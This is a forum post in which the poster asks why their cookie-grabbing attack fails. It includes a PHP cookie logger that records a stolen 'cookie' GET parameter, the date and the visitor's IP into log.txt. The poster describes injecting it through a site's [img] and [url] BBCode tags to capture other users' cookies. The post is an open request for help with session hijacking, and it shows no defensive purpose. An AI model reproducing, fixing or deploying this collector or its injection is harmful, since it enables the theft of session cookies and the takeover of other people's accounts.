Does anybody know where my code doesn't work? It displays everything but the cookie. The site is kind of trick but it allows [img][/img] and .. which translates into html code as <img src=""></img> and <a href=""></a>.

My PHP:

1
HTML Code:
 <?php
$cookie =$HTTP_GET_VARS["cookie"];
$date = date ("l ds of F Y h:i:s A");
$ip = $_SERVER['REMOTE_ADDR'];
$file = fopen('log.txt', 'a');
fwrite($file,"DATE : $date || IP: $ip || COOKIE : $cookie \n");
fclose($file);
?>
I've tried many different modifications on the site with the img and url tags with [ ]

I hope somebody can help.

Indianman, tenu punjabi aandi ah?